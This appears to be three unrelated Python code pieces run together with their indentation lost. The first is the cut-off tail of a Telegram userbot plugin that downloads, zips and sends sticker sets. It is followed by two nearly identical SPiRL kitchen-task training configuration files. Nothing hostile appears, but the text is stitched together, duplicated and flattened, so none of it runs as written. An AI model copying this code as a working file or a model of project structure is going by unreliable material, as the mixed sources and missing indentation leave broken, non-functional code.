.{Config.TMP_DOWNLOAD_DIRECTORY}{sticker_set.set.short_name}...") num_tasks = len(pending_tasks) while 1: done, pending_tasks = await asyncio.wait(pending_tasks, timeout=2.5, return_when=asyncio.FIRST_COMPLETED) try: await event.edit( f"Downloaded {num_tasks - len(pending_tasks)}/{sticker_set.set.count}") except MessageNotModifiedError: pass if not pending_tasks: break await event.edit("Downloading to my local completed") # https://gist.github.com/udf/e4e3dbb2e831c8b580d8fddd312714f7 directory_name = Config.TMP_DOWNLOAD_DIRECTORY + sticker_set.set.short_name zipf = zipfile.ZipFile(directory_name + ".zip", "w", zipfile.ZIP_DEFLATED) zipdir(directory_name, zipf) zipf.close() await borg.send_file( event.chat_id, directory_name + ".zip", caption=file_caption, force_document=True, allow_cache=False, reply_to=event.message.id, progress_callback=progress ) try: os.remove(directory_name + ".zip") os.remove(directory_name) except: pass await event.edit("task Completed") await asyncio.sleep(3) await event.delete() else: await event.edit("TODO: Not Implemented") # Helpers def is_it_animated_sticker(message): if message.media and message.media.document: mime_type = message.media.document.mime_type if "tgsticker" in mime_type: return True else: return False else: return False def is_message_image(message): if message.media: if isinstance(message.media, MessageMediaPhoto): return True if message.media.document: if message.media.document.mime_type.split("/")[0] == "image": return True return False return False async def silently_send_message(conv, text): await conv.send_message(text) response = await conv.get_response() await conv.mark_read(message=response) return response async def stickerset_exists(conv, setname): try: await borg(GetStickerSetRequest(InputStickerSetShortName(setname))) response = await silently_send_message(conv, "/addsticker") if response.text == "Invalid pack selected.": await silently_send_message(conv, "/cancel") return False await silently_send_message(conv, "/cancel") return True except StickersetInvalidError: return False def resize_image(image, save_locaton): """ Copyright Rhyse Simpson: https://github.com/skittles9823/SkittBot/blob/master/tg_bot/modules/stickers.py """ im = Image.open(image) maxsize = (512, 512) if (im.width and im.height) < 512: size1 = im.width size2 = im.height if im.width > im.height: scale = 512 / size1 size1new = 512 size2new = size2 * scale else: scale = 512 / size2 size1new = size1 * scale size2new = 512 size1new = math.floor(size1new) size2new = math.floor(size2new) sizenew = (size1new, size2new) im = im.resize(sizenew) else: im.thumbnail(maxsize) im.save(save_locaton, "PNG") def progress(current, total): logger.info("Uploaded: {} of {}\nCompleted {}".format(current, total, (current / total) * 100)) def find_instance(items, class_or_tuple): for item in items: if isinstance(item, class_or_tuple): return item return None def zipdir(path, ziph): # ziph is zipfile handle for root, dirs, files in os.walk(path): for file in files: ziph.write(os.path.join(root, file)) os.remove(os.path.join(root, file))
import os from spirl.models.closed_loop_spirl_mdl import ClSPiRLMdl from spirl.components.logger import Logger from spirl.utils.general_utils import AttrDict from spirl.configs.default_data_configs.kitchen import data_spec from spirl.components.evaluator import TopOfNSequenceEvaluator from spirl.data.kitchen.src.kitchen_data_loader import KitchenStateSeqDataset from spirl.models.bc_atomic import BCMdl current_dir = os.path.dirname(os.path.realpath(__file__)) fewshot_dataset = KitchenStateSeqDataset( data_path='data/kitchen/kitchen-demo-microwave_kettle_hinge_slide.hdf5', subseq_len=10, ) env = AttrDict( task_list = ['microwave', 'kettle', 'slide cabinet', 'hinge cabinet'] ) contra_model_cf = AttrDict( state_dimension=data_spec.state_dim, hidden_size=128, feature_size=32, ) configuration = { 'model': ClSPiRLMdl, 'logger': Logger, 'data_dir': '.', 'epoch_cycles_train': 1, 'evaluator': TopOfNSequenceEvaluator, 'top_of_n_eval': 100, 'top_comp_metric': 'mse', 'batch_size': 128, 'num_epochs': 50, 'fewshot_data': fewshot_dataset, 'fewshot_batch_size': 128, 'offline_data': False, 'contra_config': contra_model_cf, 'contra_ckpt': './experiments/contrastive/kitchen/exact-mixed-all/exact_model.pt', 'bc_model': BCMdl, } configuration = AttrDict(configuration) model_config = AttrDict( state_dim=data_spec.state_dim, action_dim=data_spec.n_actions, n_rollout_steps=10, kl_div_weight=5e-4, nz_enc=128, nz_mid=128, n_processing_layers=5, cond_decode=True, ) bc_model = AttrDict( state_dim=data_spec.state_dim, action_dim=data_spec.n_actions, nz_mid=128, n_processing_layers=5, # checkpt_path=f'{os.environ['EXP_DIR']}/bc_atomic/kitchen/offline_data/no-kettle', ) # Dataset data_config = AttrDict() data_config.dataset_spec = data_spec data_config.dataset_spec['dataset_path'] = './data/kitchen/kitchen-mixed-no-kettle.hdf5' data_config.dataset_spec.subseq_len = model_config.n_rollout_steps + 1 # flat last action from seq gets cropped
import os from spirl.models.closed_loop_spirl_mdl import ClSPiRLMdl from spirl.components.logger import Logger from spirl.utils.general_utils import AttrDict from spirl.configs.default_data_configs.kitchen import data_spec from spirl.components.evaluator import TopOfNSequenceEvaluator from spirl.data.kitchen.src.kitchen_data_loader import KitchenStateSeqDataset from spirl.models.bc_atomic import BCMdl current_dir = os.path.dirname(os.path.realpath(__file__)) fewshot_dataset = KitchenStateSeqDataset( data_path='data/kitchen/kitchen-demo-microwave_kettle_hinge_slide.hdf5', subseq_len=10, ) env = AttrDict( task_list = ['microwave', 'kettle', 'slide cabinet', 'hinge cabinet'] ) contra_model_cf = AttrDict( state_dimension=data_spec.state_dim, hidden_size=128, feature_size=32, ) configuration = { 'model': ClSPiRLMdl, 'logger': Logger, 'data_dir': '.', 'epoch_cycles_train': 1, 'evaluator': TopOfNSequenceEvaluator, 'top_of_n_eval': 100, 'top_comp_metric': 'mse', 'batch_size': 128, 'num_epochs': 50, 'fewshot_data': fewshot_dataset, 'fewshot_batch_size': 128, 'offline_data': False, 'contra_config': contra_model_cf, 'contra_ckpt': './experiments/contrastive/kitchen/exact-mixed-all/exact_model.pt', 'bc_model': BCMdl, } configuration = AttrDict(configuration) model_config = AttrDict( state_dim=data_spec.state_dim, action_dim=data_spec.n_actions, n_rollout_steps=10, kl_div_weight=5e-4, nz_enc=128, nz_mid=128, n_processing_layers=5, cond_decode=True, ) bc_model = AttrDict( state_dim=data_spec.state_dim, action_dim=data_spec.n_actions, nz_mid=128, n_processing_layers=5, # checkpt_path=f'{os.environ["EXP_DIR"]}/bc_atomic/kitchen/offline_data/no-kettle', ) # Dataset data_config = AttrDict() data_config.dataset_spec = data_spec data_config.dataset_spec['dataset_path'] = './data/kitchen/kitchen-mixed-no-kettle.hdf5' data_config.dataset_spec.subseq_len = model_config.n_rollout_steps + 1 # flat last action from seq gets cropped